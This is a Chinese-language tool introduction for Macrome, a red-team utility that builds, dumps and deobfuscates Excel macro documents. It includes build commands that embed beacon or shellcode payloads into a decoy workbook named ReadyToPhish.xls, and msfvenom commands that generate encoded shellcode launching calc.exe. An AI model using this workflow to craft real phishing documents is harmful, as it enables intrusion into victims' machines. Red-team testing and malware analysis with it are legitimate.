Macrome:一款针对红队人员的Excel宏文档处理工具

2022-04-11 21:34:00 浏览数 (1)

关于Macrome

Macrome是一款功能强大的Excel宏文档读取和编写工具,该工具专为红队研究人员和安全分析人员设计。

工具安装/构建

首先,我们需要使用下列命令将该项目源码克隆至本地:

代码语言:javascript复制
git clone https://github.com/michaelweber/Macrome.git

接下来,我们就可以使用下列命令构建项目了:

代码语言:javascript复制
代码语言:javascript复制
dotnet run -- build --decoy-document Docsdecoy_document.xls --payload Docspopcalc.bin

或者:

代码语言:javascript复制
代码语言:javascript复制
dotnet build

cd bin/Debug/netcoreapp2.0

dotnet Macrome.dll deobfuscate --path obfuscated_document.xls

需要注意的是,在进行代码构建时,我们需要在本地环境中安装并配置好dotnet 5.0 。

不过,该工具的发布版本并不需要dotnet,我们可以直接访问该项目的【Releases页面】下载Windows、macOS或Linux系统的工具版本。

工具使用

我们可以直接在解决方案目录中运行“dotnet run”,或使用“dotnet”运行构建的Macrome代码。

Macrome主要有三种操作模式,即构建模式、导出模式和反混淆模式。

构建模式

代码语言:javascript复制
Macrome build --decoy-document decoy_document.xls --payload beacon.bin --payload64-bit beacon64.bin --payload-method Base64 --method ArgumentSubroutines --password VelvetSweatshop --preamble preamble.txt --output-file-name ReadyToPhish.xls

使用Payload

我们可以生成一个Shellcode Payload,并将其提供给工具运行。这里可以使用下列参数,并通过msfvenom来生成Payload

代码语言:javascript复制
msfvenom -a x86 -b 'x00' --platform windows -p windows/exec cmd=calc.exe -e x86/alpha_mixed -f raw EXITFUNC=thread > popcalc.bin

工具还支持64位Payload,我们可以使用下列命令生成一个名为“popcalc64.bin”的64位Payload:

代码语言:javascript复制
msfvenom -a x64 -b 'x00' --platform windows -p windows/x64/exec cmd=calc.exe -e x64/xor -f raw EXITFUNC=thread > popcalc64.bin

这个Payload可以通过下列命令嵌入到宏文件中:

代码语言:javascript复制
dotnet Macrome.dll build --decoy-document decoy_document.xls --payload popcalc.bin --payload64-bit popcalc64.bin

嵌入到可执行文件中:

代码语言:javascript复制
donut.exe -a 3 -b 1 -z 1 executableToEmbed.exe

宏Payload使用

代码语言:javascript复制
dotnet Macrome.dll build --decoy-document decoy_document.xls --payload macro-example.txt --payload-type Macro

导出模式

导出命令需要提供一个只想目标文件的路径“path”参数:

代码语言:javascript复制
dotnet Macrome.dll dump --path docToDump.xls

反混淆模式

比如说,如果想要对一个XLS 2003宏文件(路径为path/to/obfuscated_file.xls)进行反混淆处理的话,可以直接运行下列命令:

代码语言:javascript复制
代码语言:javascript复制
dotnet Macrome.dll deobfuscate --path path/to/obfuscated_file.xls

该命令将会生成一个混淆文件副本,并允许我们进行额外的分析和处理。

项目地址

https://github.com/michaelweber/Macrome

0 人点赞